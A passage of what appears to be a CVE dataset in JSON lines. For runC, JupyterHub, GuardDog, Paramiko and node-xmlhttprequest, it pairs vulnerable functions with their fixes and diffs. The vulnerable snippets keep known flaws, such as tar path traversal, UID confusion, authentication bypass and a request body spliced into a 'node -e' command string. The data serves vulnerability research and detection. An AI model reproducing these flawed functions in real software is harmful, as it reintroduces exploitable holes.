this scope\n        response = resp;\n        // Check for redirect\n        // @TODO Prevent looped redirects\n        if (response.statusCode === 302 || response.statusCode === 303 || response.statusCode === 307) {\n          // Change URL to the redirect location\n          settings.url = response.headers.location;\n          var url = Url.parse(settings.url);\n          // Set host var in case it's used later\n          host = url.hostname;\n          // Options for the new request\n          var newOptions = {\n            hostname: url.hostname,\n            port: url.port,\n            path: url.path,\n            method: response.statusCode === 303 ? 'GET' : settings.method,\n            headers: headers\n          };\n\n          if (ssl) {\n            newOptions.pfx = opts.pfx;\n            newOptions.key = opts.key;\n            newOptions.passphrase = opts.passphrase;\n            newOptions.cert = opts.cert;\n            newOptions.ca = opts.ca;\n            newOptions.ciphers = opts.ciphers;\n            newOptions.rejectUnauthorized = opts.rejectUnauthorized === false ? false : true;\n          }\n\n          // Issue the new request\n          request = doRequest(newOptions, responseHandler).on('error', errorHandler);\n          request.end();\n          // @TODO Check if an XHR event needs to be fired here\n          return;\n        }\n\n        if (response && response.setEncoding) {\n          response.setEncoding(\"utf8\");\n        }\n\n        setState(self.HEADERS_RECEIVED);\n        self.status = response.statusCode;\n\n        response.on('data', function(chunk) {\n          // Make sure there's some data\n          if (chunk) {\n            self.responseText += chunk;\n          }\n          // Don't emit state changes if the connection has been aborted.\n          if (sendFlag) {\n            setState(self.LOADING);\n          }\n        });\n\n        response.on('end', function() {\n          if (sendFlag) {\n            // The sendFlag needs to be set before setState is called.  Otherwise if we are chaining callbacks\n            // there can be a timing issue (the callback is called and a new call is made before the flag is reset).\n            sendFlag = false;\n            // Discard the 'end' event if the connection has been aborted\n            setState(self.DONE);\n          }\n        });\n\n        response.on('error', function(error) {\n          self.handleError(error);\n        });\n      }\n\n      // Error handler for the request\n      var errorHandler = function(error) {\n        self.handleError(error);\n      }\n\n      // Create the request\n      request = doRequest(options, responseHandler).on('error', errorHandler);\n\n      // Node 0.4 and later won't accept empty data. Make sure it's needed.\n      if (data) {\n        request.write(data);\n      }\n\n      request.end();\n\n      self.dispatchEvent(\"loadstart\");\n    } else { // Synchronous\n      // Create a temporary file for communication with the other Node process\n      var contentFile = \".node-xmlhttprequest-content-\" + process.pid;\n      var syncFile = \".node-xmlhttprequest-sync-\" + process.pid;\n      fs.writeFileSync(syncFile, \"\", \"utf8\");\n      // The async request the other Node process executes\n      var execString = \"var http = require('http'), https = require('https'), fs = require('fs');\"\n        + \"var doRequest = http\" + (ssl ? \"s\" : \"\") + \".request;\"\n        + \"var options = \" + JSON.stringify(options) + \";\"\n        + \"var responseText = '';\"\n        + \"var req = doRequest(options, function(response) {\"\n        + \"response.setEncoding('utf8');\"\n        + \"response.on('data', function(chunk) {\"\n        + \"  responseText += chunk;\"\n        + \"});\"\n        + \"response.on('end', function() {\"\n        + \"fs.writeFileSync('\" + contentFile + \"', 'NODE-XMLHTTPREQUEST-STATUS:' + response.statusCode + ',' + responseText, 'utf8');\"\n        + \"fs.unlinkSync('\" + syncFile + \"');\"\n        + \"});\"\n        + \"response.on('error', function(error) {\"\n        + \"fs.writeFileSync('\" + contentFile + \"', 'NODE-XMLHTTPREQUEST-ERROR:' + JSON.stringify(error), 'utf8');\"\n        + \"fs.unlinkSync('\" + syncFile + \"');\"\n        + \"});\"\n        + \"}).on('error', function(error) {\"\n        + \"fs.writeFileSync('\" + contentFile + \"', 'NODE-XMLHTTPREQUEST-ERROR:' + JSON.stringify(error), 'utf8');\"\n        + \"fs.unlinkSync('\" + syncFile + \"');\"\n        + \"});\"\n        + (data ? \"req.write('\" + data.replace(/'/g, \"\\\\'\") + \"');\":\"\")\n        + \"req.end();\";\n      // Start the other Node Process, executing this string\n      var syncProc = spawn(process.argv[0], [\"-e\", execString]);\n      var statusText;\n      while(fs.existsSync(syncFile)) {\n        // Wait while the sync file is empty\n      }\n      self.responseText = fs.readFileSync(contentFile, 'utf8');\n      // Kill the child process once the file has data\n      syncProc.stdin.end();\n      // Remove the temporary file\n      fs.unlinkSync(contentFile);\n      if (self.responseText.match(/^NODE-XMLHTTPREQUEST-ERROR:/)) {\n        // If the file returned an error, handle it\n        var errorObj = self.responseText.replace(/^NODE-XMLHTTPREQUEST-ERROR:/, \"\");\n        self.handleError(errorObj, 503);\n      } else {\n        // If the file returned okay, parse its data and move to the DONE state\n        self.status = self.responseText.replace(/^NODE-XMLHTTPREQUEST-STATUS:([0-9]*),.*/, \"$1\");\n        self.responseText = self.responseText.replace(/^NODE-XMLHTTPREQUEST-STATUS:[0-9]*,(.*)/, \"$1\");\n        setState(self.DONE);\n      }\n    }\n  };"}], "vul_patch": "--- a/lib/XMLHttpRequest.js\n+++ b/lib/XMLHttpRequest.js\n@@ -114,7 +114,7 @@\n       options.cert = opts.cert;\n       options.ca = opts.ca;\n       options.ciphers = opts.ciphers;\n-      options.rejectUnauthorized = opts.rejectUnauthorized;\n+      options.rejectUnauthorized = opts.rejectUnauthorized === false ? false : true;\n     }\n \n     // Reset error flag\n@@ -159,7 +159,7 @@\n             newOptions.cert = opts.cert;\n             newOptions.ca = opts.ca;\n             newOptions.ciphers = opts.ciphers;\n-            newOptions.rejectUnauthorized = opts.rejectUnauthorized;\n+            newOptions.rejectUnauthorized = opts.rejectUnauthorized === false ? false : true;\n           }\n \n           // Issue the new request\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2016-3697", "cve_description": "libcontainer/user/user.go in runC before 0.1.0, as used in Docker before 1.11.2, improperly treats a numeric UID as a potential username, which allows local users to gain privileges via a numeric username in the password file in a container.", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-250": {"name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."}, "CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/opencontainers/runc", "patch_url": ["https://github.com/opencontainers/runc/commit/69af385de62ea68e2e608335cffbb0f4aa3db091"], "programing_language": "Go", "vul_func": [{"id": "vul_go_108_1", "commit": "8fa5343", "file_path": "libcontainer/user/user.go", "start_line": 238, "end_line": 350, "snippet": "func GetExecUser(userSpec string, defaults *ExecUser, passwd, group io.Reader) (*ExecUser, error) {\n\tvar (\n\t\tuserArg, groupArg string\n\t\tname              string\n\t)\n\n\tif defaults == nil {\n\t\tdefaults = new(ExecUser)\n\t}\n\n\t// Copy over defaults.\n\tuser := &ExecUser{\n\t\tUid:   defaults.Uid,\n\t\tGid:   defaults.Gid,\n\t\tSgids: defaults.Sgids,\n\t\tHome:  defaults.Home,\n\t}\n\n\t// Sgids slice *cannot* be nil.\n\tif user.Sgids == nil {\n\t\tuser.Sgids = []int{}\n\t}\n\n\t// allow for userArg to have either \"user\" syntax, or optionally \"user:group\" syntax\n\tparseLine(userSpec, &userArg, &groupArg)\n\n\tusers, err := ParsePasswdFilter(passwd, func(u User) bool {\n\t\tif userArg == \"\" {\n\t\t\treturn u.Uid == user.Uid\n\t\t}\n\t\treturn u.Name == userArg || strconv.Itoa(u.Uid) == userArg\n\t})\n\tif err != nil && passwd != nil {\n\t\tif userArg == \"\" {\n\t\t\tuserArg = strconv.Itoa(user.Uid)\n\t\t}\n\t\treturn nil, fmt.Errorf(\"Unable to find user %v: %v\", userArg, err)\n\t}\n\n\thaveUser := users != nil && len(users) > 0\n\tif haveUser {\n\t\t// if we found any user entries that matched our filter, let's take the first one as \"correct\"\n\t\tname = users[0].Name\n\t\tuser.Uid = users[0].Uid\n\t\tuser.Gid = users[0].Gid\n\t\tuser.Home = users[0].Home\n\t} else if userArg != \"\" {\n\t\t// we asked for a user but didn't find them...  let's check to see if we wanted a numeric user\n\t\tuser.Uid, err = strconv.Atoi(userArg)\n\t\tif err != nil {\n\t\t\t// not numeric - we have to bail\n\t\t\treturn nil, fmt.Errorf(\"Unable to find user %v\", userArg)\n\t\t}\n\n\t\t// Must be inside valid uid range.\n\t\tif user.Uid < minId || user.Uid > maxId {\n\t\t\treturn nil, ErrRange\n\t\t}\n\n\t\t// if userArg couldn't be found in /etc/passwd but is numeric, just roll with it - this is legit\n\t}\n\n\tif groupArg != \"\" || name != \"\" {\n\t\tgroups, err := ParseGroupFilter(group, func(g Group) bool {\n\t\t\t// Explicit group format takes precedence.\n\t\t\tif groupArg != \"\" {\n\t\t\t\treturn g.Name == groupArg || strconv.Itoa(g.Gid) == groupArg\n\t\t\t}\n\n\t\t\t// Check if user is a member.\n\t\t\tfor _, u := range g.List {\n\t\t\t\tif u == name {\n\t\t\t\t\treturn true\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn false\n\t\t})\n\t\tif err != nil && group != nil {\n\t\t\treturn nil, fmt.Errorf(\"Unable to find groups for user %v: %v\", users[0].Name, err)\n\t\t}\n\n\t\thaveGroup := groups != nil && len(groups) > 0\n\t\tif groupArg != \"\" {\n\t\t\tif haveGroup {\n\t\t\t\t// if we found any group entries that matched our filter, let's take the first one as \"correct\"\n\t\t\t\tuser.Gid = groups[0].Gid\n\t\t\t} else {\n\t\t\t\t// we asked for a group but didn't find id...  let's check to see if we wanted a numeric group\n\t\t\t\tuser.Gid, err = strconv.Atoi(groupArg)\n\t\t\t\tif err != nil {\n\t\t\t\t\t// not numeric - we have to bail\n\t\t\t\t\treturn nil, fmt.Errorf(\"Unable to find group %v\", groupArg)\n\t\t\t\t}\n\n\t\t\t\t// Ensure gid is inside gid range.\n\t\t\t\tif user.Gid < minId || user.Gid > maxId {\n\t\t\t\t\treturn nil, ErrRange\n\t\t\t\t}\n\n\t\t\t\t// if groupArg couldn't be found in /etc/group but is numeric, just roll with it - this is legit\n\t\t\t}\n\t\t} else if haveGroup {\n\t\t\t// If implicit group format, fill supplementary gids.\n\t\t\tuser.Sgids = make([]int, len(groups))\n\t\t\tfor i, group := range groups {\n\t\t\t\tuser.Sgids[i] = group.Gid\n\t\t\t}\n\t\t}\n\t}\n\n\treturn user, nil\n}"}], "fix_func": [{"id": "fix_go_108_1", "commit": "69af385", "file_path": "libcontainer/user/user.go", "start_line": 243, "end_line": 375, "snippet": "func GetExecUser(userSpec string, defaults *ExecUser, passwd, group io.Reader) (*ExecUser, error) {\n\tvar (\n\t\tuserArg, groupArg string\n\t)\n\n\tif defaults == nil {\n\t\tdefaults = new(ExecUser)\n\t}\n\n\t// Copy over defaults.\n\tuser := &ExecUser{\n\t\tUid:   defaults.Uid,\n\t\tGid:   defaults.Gid,\n\t\tSgids: defaults.Sgids,\n\t\tHome:  defaults.Home,\n\t}\n\n\t// Sgids slice *cannot* be nil.\n\tif user.Sgids == nil {\n\t\tuser.Sgids = []int{}\n\t}\n\n\t// allow for userArg to have either \"user\" syntax, or optionally \"user:group\" syntax\n\tparseLine(userSpec, &userArg, &groupArg)\n\n\t// Convert userArg and groupArg to be numeric, so we don't have to execute\n\t// Atoi *twice* for each iteration over lines.\n\tuidArg, uidErr := strconv.Atoi(userArg)\n\tgidArg, gidErr := strconv.Atoi(groupArg)\n\n\tusers, err := ParsePasswdFilter(passwd, func(u User) bool {\n\t\tif userArg == \"\" {\n\t\t\treturn u.Uid == user.Uid\n\t\t}\n\n\t\tif uidErr == nil {\n\t\t\t// If the userArg is numeric, always treat it as a UID.\n\t\t\treturn uidArg == u.Uid\n\t\t}\n\n\t\treturn u.Name == userArg\n\t})\n\tif err != nil && passwd != nil {\n\t\tif userArg == \"\" {\n\t\t\tuserArg = strconv.Itoa(user.Uid)\n\t\t}\n\t\treturn nil, fmt.Errorf(\"Unable to find user %v: %v\", userArg, err)\n\t}\n\n\tvar matchedUserName string\n\tif len(users) > 0 {\n\t\t// First match wins, even if there's more than one matching entry.\n\t\tmatchedUserName = users[0].Name\n\t\tuser.Uid = users[0].Uid\n\t\tuser.Gid = users[0].Gid\n\t\tuser.Home = users[0].Home\n\t} else if userArg != \"\" {\n\t\t// If we can't find a user with the given username, the only other valid\n\t\t// option is if it's a numeric username with no associated entry in passwd.\n\n\t\tif uidErr != nil {\n\t\t\t// Not numeric.\n\t\t\treturn nil, fmt.Errorf(\"unable to find user %s: %v\", userArg, ErrNoPasswdEntries)\n\t\t}\n\t\tuser.Uid = uidArg\n\n\t\t// Must be inside valid uid range.\n\t\tif user.Uid < minId || user.Uid > maxId {\n\t\t\treturn nil, ErrRange\n\t\t}\n\n\t\t// Okay, so it's numeric. We can just roll with this.\n\t}\n\n\t// On to the groups. If we matched a username, we need to do this because of\n\t// the supplementary group IDs.\n\tif groupArg != \"\" || matchedUserName != \"\" {\n\t\tgroups, err := ParseGroupFilter(group, func(g Group) bool {\n\t\t\t// If the group argument isn't explicit, we'll just search for it.\n\t\t\tif groupArg == \"\" {\n\t\t\t\t// Check if user is a member of this group.\n\t\t\t\tfor _, u := range g.List {\n\t\t\t\t\tif u == matchedUserName {\n\t\t\t\t\t\treturn true\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn false\n\t\t\t}\n\n\t\t\tif gidErr == nil {\n\t\t\t\t// If the groupArg is numeric, always treat it as a GID.\n\t\t\t\treturn gidArg == g.Gid\n\t\t\t}\n\n\t\t\treturn g.Name == groupArg\n\t\t})\n\t\tif err != nil && group != nil {\n\t\t\treturn nil, fmt.Errorf(\"unable to find groups for spec %v: %v\", matchedUserName, err)\n\t\t}\n\n\t\thaveGroup := groups != nil && len(groups) > 0\n\t\tif groupArg != \"\" {\n\t\t\tif haveGroup {\n\t\t\t\t// if we found any group entries that matched our filter, let's take the first one as \"correct\"\n\t\t\t\tuser.Gid = groups[0].Gid\n\t\t\t} else if groupArg != \"\" {\n\t\t\t\t// If we can't find a group with the given name, the only other valid\n\t\t\t\t// option is if it's a numeric group name with no associated entry in group.\n\n\t\t\t\tif gidErr != nil {\n\t\t\t\t\t// Not numeric.\n\t\t\t\t\treturn nil, fmt.Errorf(\"unable to find group %s: %v\", groupArg, ErrNoGroupEntries)\n\t\t\t\t}\n\t\t\t\tuser.Gid = gidArg\n\n\t\t\t\t// Ensure gid is inside gid range.\n\t\t\t\tif user.Gid < minId || user.Gid > maxId {\n\t\t\t\t\treturn nil, ErrRange\n\t\t\t\t}\n\n\t\t\t\t// Okay, so it's numeric. We can just roll with this.\n\t\t\t}\n\t\t} else if len(groups) > 0 {\n\t\t\t// Supplementary group ids only make sense if in the implicit form.\n\t\t\tuser.Sgids = make([]int, len(groups))\n\t\t\tfor i, group := range groups {\n\t\t\t\tuser.Sgids[i] = group.Gid\n\t\t\t}\n\t\t}\n\t}\n\n\treturn user, nil\n}"}], "vul_patch": "--- a/libcontainer/user/user.go\n+++ b/libcontainer/user/user.go\n@@ -1,7 +1,6 @@\n func GetExecUser(userSpec string, defaults *ExecUser, passwd, group io.Reader) (*ExecUser, error) {\n \tvar (\n \t\tuserArg, groupArg string\n-\t\tname              string\n \t)\n \n \tif defaults == nil {\n@@ -24,11 +23,22 @@\n \t// allow for userArg to have either \"user\" syntax, or optionally \"user:group\" syntax\n \tparseLine(userSpec, &userArg, &groupArg)\n \n+\t// Convert userArg and groupArg to be numeric, so we don't have to execute\n+\t// Atoi *twice* for each iteration over lines.\n+\tuidArg, uidErr := strconv.Atoi(userArg)\n+\tgidArg, gidErr := strconv.Atoi(groupArg)\n+\n \tusers, err := ParsePasswdFilter(passwd, func(u User) bool {\n \t\tif userArg == \"\" {\n \t\t\treturn u.Uid == user.Uid\n \t\t}\n-\t\treturn u.Name == userArg || strconv.Itoa(u.Uid) == userArg\n+\n+\t\tif uidErr == nil {\n+\t\t\t// If the userArg is numeric, always treat it as a UID.\n+\t\t\treturn uidArg == u.Uid\n+\t\t}\n+\n+\t\treturn u.Name == userArg\n \t})\n \tif err != nil && passwd != nil {\n \t\tif userArg == \"\" {\n@@ -37,47 +47,55 @@\n \t\treturn nil, fmt.Errorf(\"Unable to find user %v: %v\", userArg, err)\n \t}\n \n-\thaveUser := users != nil && len(users) > 0\n-\tif haveUser {\n-\t\t// if we found any user entries that matched our filter, let's take the first one as \"correct\"\n-\t\tname = users[0].Name\n+\tvar matchedUserName string\n+\tif len(users) > 0 {\n+\t\t// First match wins, even if there's more than one matching entry.\n+\t\tmatchedUserName = users[0].Name\n \t\tuser.Uid = users[0].Uid\n \t\tuser.Gid = users[0].Gid\n \t\tuser.Home = users[0].Home\n \t} else if userArg != \"\" {\n-\t\t// we asked for a user but didn't find them...  let's check to see if we wanted a numeric user\n-\t\tuser.Uid, err = strconv.Atoi(userArg)\n-\t\tif err != nil {\n-\t\t\t// not numeric - we have to bail\n-\t\t\treturn nil, fmt.Errorf(\"Unable to find user %v\", userArg)\n+\t\t// If we can't find a user with the given username, the only other valid\n+\t\t// option is if it's a numeric username with no associated entry in passwd.\n+\n+\t\tif uidErr != nil {\n+\t\t\t// Not numeric.\n+\t\t\treturn nil, fmt.Errorf(\"unable to find user %s: %v\", userArg, ErrNoPasswdEntries)\n \t\t}\n+\t\tuser.Uid = uidArg\n \n \t\t// Must be inside valid uid range.\n \t\tif user.Uid < minId || user.Uid > maxId {\n \t\t\treturn nil, ErrRange\n \t\t}\n \n-\t\t// if userArg couldn't be found in /etc/passwd but is numeric, just roll with it - this is legit\n+\t\t// Okay, so it's numeric. We can just roll with this.\n \t}\n \n-\tif groupArg != \"\" || name != \"\" {\n+\t// On to the groups. If we matched a username, we need to do this because of\n+\t// the supplementary group IDs.\n+\tif groupArg != \"\" || matchedUserName != \"\" {\n \t\tgroups, err := ParseGroupFilter(group, func(g Group) bool {\n-\t\t\t// Explicit group format takes precedence.\n-\t\t\tif groupArg != \"\" {\n-\t\t\t\treturn g.Name == groupArg || strconv.Itoa(g.Gid) == groupArg\n+\t\t\t// If the group argument isn't explicit, we'll just search for it.\n+\t\t\tif groupArg == \"\" {\n+\t\t\t\t// Check if user is a member of this group.\n+\t\t\t\tfor _, u := range g.List {\n+\t\t\t\t\tif u == matchedUserName {\n+\t\t\t\t\t\treturn true\n+\t\t\t\t\t}\n+\t\t\t\t}\n+\t\t\t\treturn false\n \t\t\t}\n \n-\t\t\t// Check if user is a member.\n-\t\t\tfor _, u := range g.List {\n-\t\t\t\tif u == name {\n-\t\t\t\t\treturn true\n-\t\t\t\t}\n+\t\t\tif gidErr == nil {\n+\t\t\t\t// If the groupArg is numeric, always treat it as a GID.\n+\t\t\t\treturn gidArg == g.Gid\n \t\t\t}\n \n-\t\t\treturn false\n+\t\t\treturn g.Name == groupArg\n \t\t})\n \t\tif err != nil && group != nil {\n-\t\t\treturn nil, fmt.Errorf(\"Unable to find groups for user %v: %v\", users[0].Name, err)\n+\t\t\treturn nil, fmt.Errorf(\"unable to find groups for spec %v: %v\", matchedUserName, err)\n \t\t}\n \n \t\thaveGroup := groups != nil && len(groups) > 0\n@@ -85,23 +103,25 @@\n \t\t\tif haveGroup {\n \t\t\t\t// if we found any group entries that matched our filter, let's take the first one as \"correct\"\n \t\t\t\tuser.Gid = groups[0].Gid\n-\t\t\t} else {\n-\t\t\t\t// we asked for a group but didn't find id...  let's check to see if we wanted a numeric group\n-\t\t\t\tuser.Gid, err = strconv.Atoi(groupArg)\n-\t\t\t\tif err != nil {\n-\t\t\t\t\t// not numeric - we have to bail\n-\t\t\t\t\treturn nil, fmt.Errorf(\"Unable to find group %v\", groupArg)\n+\t\t\t} else if groupArg != \"\" {\n+\t\t\t\t// If we can't find a group with the given name, the only other valid\n+\t\t\t\t// option is if it's a numeric group name with no associated entry in group.\n+\n+\t\t\t\tif gidErr != nil {\n+\t\t\t\t\t// Not numeric.\n+\t\t\t\t\treturn nil, fmt.Errorf(\"unable to find group %s: %v\", groupArg, ErrNoGroupEntries)\n \t\t\t\t}\n+\t\t\t\tuser.Gid = gidArg\n \n \t\t\t\t// Ensure gid is inside gid range.\n \t\t\t\tif user.Gid < minId || user.Gid > maxId {\n \t\t\t\t\treturn nil, ErrRange\n \t\t\t\t}\n \n-\t\t\t\t// if groupArg couldn't be found in /etc/group but is numeric, just roll with it - this is legit\n+\t\t\t\t// Okay, so it's numeric. We can just roll with this.\n \t\t\t}\n-\t\t} else if haveGroup {\n-\t\t\t// If implicit group format, fill supplementary gids.\n+\t\t} else if len(groups) > 0 {\n+\t\t\t// Supplementary group ids only make sense if in the implicit form.\n \t\t\tuser.Sgids = make([]int, len(groups))\n \t\t\tfor i, group := range groups {\n \t\t\t\tuser.Sgids[i] = group.Gid\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-41247", "cve_description": "JupyterHub is an open source multi-user server for Jupyter notebooks. In affected versions users who have multiple JupyterLab tabs open in the same browser session, may see incomplete logout from the single-user server, as fresh credentials (for the single-user server only, not the Hub) reinstated after logout, if another active JupyterLab session is open while the logout takes place. Upgrade to JupyterHub 1.5. For distributed deployments, it is jupyterhub in the _user_ environment that needs patching. There are no patches necessary in the Hub environment. The only workaround is to make sure that only one JupyterLab tab is open when you log out.", "cwe_info": {"CWE-613": {"name": "Insufficient Session Expiration", "description": "According to WASC, \"Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization.\""}}, "repo": "https://github.com/jupyterhub/jupyterhub", "patch_url": ["https://github.com/jupyterhub/jupyterhub/commit/5ac9e7f73a6e1020ffddc40321fc53336829fe27"], "programing_language": "Python", "vul_func": [{"id": "vul_py_396_1", "commit": "0611169dea3af911f52abc155f4051209f1b28e8", "file_path": "jupyterhub/services/auth.py", "start_line": 898, "end_line": 942, "snippet": "    def get_current_user(self):\n        \"\"\"Tornado's authentication method\n\n        Returns:\n            user_model (dict): The user model, if a user is identified, None if authentication fails.\n        \"\"\"\n        if hasattr(self, '_hub_auth_user_cache'):\n            return self._hub_auth_user_cache\n        user_model = self.hub_auth.get_user(self)\n        if not user_model:\n            self._hub_auth_user_cache = None\n            return\n        try:\n            self._hub_auth_user_cache = self.check_hub_user(user_model)\n        except UserNotAllowed as e:\n            # cache None, in case get_user is called again while processing the error\n            self._hub_auth_user_cache = None\n            # Override redirect so if/when tornado @web.authenticated\n            # tries to redirect to login URL, 403 will be raised instead.\n            # This is not the best, but avoids problems that can be caused\n            # when get_current_user is allowed to raise.\n            def raise_on_redirect(*args, **kwargs):\n                raise HTTPError(\n                    403, \"{kind} {name} is not allowed.\".format(**user_model)\n                )\n\n            self.redirect = raise_on_redirect\n            return\n        except Exception:\n            self._hub_auth_user_cache = None\n            raise\n\n        # store tokens passed via url or header in a cookie for future requests\n        url_token = self.hub_auth.get_token(self)\n        if (\n            user_model\n            and url_token\n            and getattr(self, '_token_authenticated', False)\n            and hasattr(self.hub_auth, 'set_cookie')\n        ):\n            # authenticated via `?token=`\n            # set a cookie for future requests\n            # hub_auth.set_cookie is only available on HubOAuth\n            self.hub_auth.set_cookie(self, url_token)\n        return self._hub_auth_user_cache"}], "fix_func": [{"id": "fix_py_396_1", "commit": "5ac9e7f73a6e1020ffddc40321fc53336829fe27", "file_path": "jupyterhub/services/auth.py", "start_line": 898, "end_line": 942, "snippet": "    def get_current_user(self):\n        \"\"\"Tornado's authentication method\n\n        Returns:\n            user_model (dict): The user model, if a user is identified, None if authentication fails.\n        \"\"\"\n        if hasattr(self, '_hub_auth_user_cache'):\n            return self._hub_auth_user_cache\n        user_model = self.hub_auth.get_user(self)\n        if not user_model:\n            self._hub_auth_user_cache = None\n            return\n        try:\n            self._hub_auth_user_cache = self.check_hub_user(user_model)\n        except UserNotAllowed as e:\n            # cache None, in case get_user is called again while processing the error\n            self._hub_auth_user_cache = None\n            # Override redirect so if/when tornado @web.authenticated\n            # tries to redirect to login URL, 403 will be raised instead.\n            # This is not the best, but avoids problems that can be caused\n            # when get_current_user is allowed to raise.\n            def raise_on_redirect(*args, **kwargs):\n                raise HTTPError(\n                    403, \"{kind} {name} is not allowed.\".format(**user_model)\n                )\n\n            self.redirect = raise_on_redirect\n            return\n        except Exception:\n            self._hub_auth_user_cache = None\n            raise\n\n        # store ?token=... tokens passed via url in a cookie for future requests\n        url_token = self.get_argument('token', '')\n        if (\n            user_model\n            and url_token\n            and getattr(self, '_token_authenticated', False)\n            and hasattr(self.hub_auth, 'set_cookie')\n        ):\n            # authenticated via `?token=`\n            # set a cookie for future requests\n            # hub_auth.set_cookie is only available on HubOAuth\n            self.hub_auth.set_cookie(self, url_token)\n        return self._hub_auth_user_cache"}], "vul_patch": "--- a/jupyterhub/services/auth.py\n+++ b/jupyterhub/services/auth.py\n@@ -30,8 +30,8 @@\n             self._hub_auth_user_cache = None\n             raise\n \n-        # store tokens passed via url or header in a cookie for future requests\n-        url_token = self.hub_auth.get_token(self)\n+        # store ?token=... tokens passed via url in a cookie for future requests\n+        url_token = self.get_argument('token', '')\n         if (\n             user_model\n             and url_token\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-23531", "cve_description": "GuardDog is a CLI tool to identify malicious PyPI packages. Versions prior to 0.1.5 are vulnerable to Relative Path Traversal when scanning a specially-crafted local PyPI package. Running GuardDog against a specially-crafted package can allow an attacker to write an arbitrary file on the machine where GuardDog is executed due to a path traversal vulnerability when extracting the .tar.gz file of the package being scanned, which exists by design in the tarfile.TarFile.extractall function. This issue is patched in version 0.1.5.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/DataDog/guarddog", "patch_url": ["https://github.com/DataDog/guarddog/commit/98af5c8c1e9c15fa888c900252e76116b0ec25d1"], "programing_language": "Python", "vul_func": [{"id": "vul_py_343_1", "commit": "14b3858005c52ccae64953b2920beefd0514a2e4", "file_path": "guarddog/scanners/package_scanner.py", "start_line": 26, "end_line": 52, "snippet": "    def scan_local(self, path, rules=None) -> dict:\n        \"\"\"\n        Scans local package\n\n        Args:\n            path (str): path to package\n            rules (set, optional): Set of rule names to use. Defaults to all rules.\n\n        Raises:\n            Exception: Analyzer exception\n\n        Returns:\n            dict: Analyzer output with rules to results mapping\n        \"\"\"\n\n        if rules is not None:\n            rules = set(rules)\n\n        if os.path.exists(path):\n            if path.endswith('.tar.gz'):\n                with tempfile.TemporaryDirectory() as tmpdirname:\n                    tarfile.open(path).extractall(tmpdirname)\n                    return self.analyzer.analyze_sourcecode(tmpdirname, rules=rules)\n            elif os.path.isdir(path):\n                return self.analyzer.analyze_sourcecode(path, rules=rules)\n        else:\n            raise Exception(f\"Path {path} does not exist.\")"}], "fix_func": [{"id": "fix_py_343_1", "commit": "98af5c8c1e9c15fa888c900252e76116b0ec25d1", "file_path": "guarddog/scanners/package_scanner.py", "start_line": 26, "end_line": 52, "snippet": "    def scan_local(self, path, rules=None) -> dict:\n        \"\"\"\n        Scans local package\n\n        Args:\n            path (str): path to package\n            rules (set, optional): Set of rule names to use. Defaults to all rules.\n\n        Raises:\n            Exception: Analyzer exception\n\n        Returns:\n            dict: Analyzer output with rules to results mapping\n        \"\"\"\n\n        if rules is not None:\n            rules = set(rules)\n\n        if os.path.exists(path):\n            if path.endswith('.tar.gz'):\n                with tempfile.TemporaryDirectory() as tmpdirname:\n                    tarsafe.open(path).extractall(tmpdirname)\n                    return self.analyzer.analyze_sourcecode(tmpdirname, rules=rules)\n            elif os.path.isdir(path):\n                return self.analyzer.analyze_sourcecode(path, rules=rules)\n        else:\n            raise Exception(f\"Path {path} does not exist.\")"}], "vul_patch": "--- a/guarddog/scanners/package_scanner.py\n+++ b/guarddog/scanners/package_scanner.py\n@@ -19,7 +19,7 @@\n         if os.path.exists(path):\n             if path.endswith('.tar.gz'):\n                 with tempfile.TemporaryDirectory() as tmpdirname:\n-                    tarfile.open(path).extractall(tmpdirname)\n+                    tarsafe.open(path).extractall(tmpdirname)\n                     return self.analyzer.analyze_sourcecode(tmpdirname, rules=rules)\n             elif os.path.isdir(path):\n                 return self.analyzer.analyze_sourcecode(path, rules=rules)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2018-7750", "cve_description": "transport.py in the SSH server implementation of Paramiko before 1.17.6, 1.18.x before 1.18.5, 2.0.x before 2.0.8, 2.1.x before 2.1.5, 2.2.x before 2.2.3, 2.3.x before 2.3.2, and 2.4.x before 2.4.1 does not properly check whether authentication is completed before processing other requests, as demonstrated by channel-open. A customized SSH client can simply skip the authentication step.", "cwe_info": {"CWE-287": {"name": "Improper Authentication", "description": "When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct."}}, "repo": "https://github.com/paramiko/paramiko", "patch_url": ["https://github.com/paramiko/paramiko/commit/fa29bd8446c8eab237f5187d28787727b4610516"], "programing_language": "Python", "vul_func": [{"id": "vul_py_169_1", "commit": "aefd28a", "file_path": "paramiko/transport.py", "start_line": 1764, "end_line": 1895, "snippet": "    def run(self):\n        # (use the exposed \"run\" method, because if we specify a thread target\n        # of a private method, threading.Thread will keep a reference to it\n        # indefinitely, creating a GC cycle and not letting Transport ever be\n        # GC'd. it's a bug in Thread.)\n\n        # Hold reference to 'sys' so we can test sys.modules to detect\n        # interpreter shutdown.\n        self.sys = sys\n\n        # active=True occurs before the thread is launched, to avoid a race\n        _active_threads.append(self)\n        tid = hex(long(id(self)) & xffffffff)\n        if self.server_mode:\n            self._log(DEBUG, 'starting thread (server mode): %s' % tid)\n        else:\n            self._log(DEBUG, 'starting thread (client mode): %s' % tid)\n        try:\n            try:\n                self.packetizer.write_all(b(self.local_version + '\\r\\n'))\n                self._log(DEBUG, 'Local version/idstring: %s' % self.local_version) # noqa\n                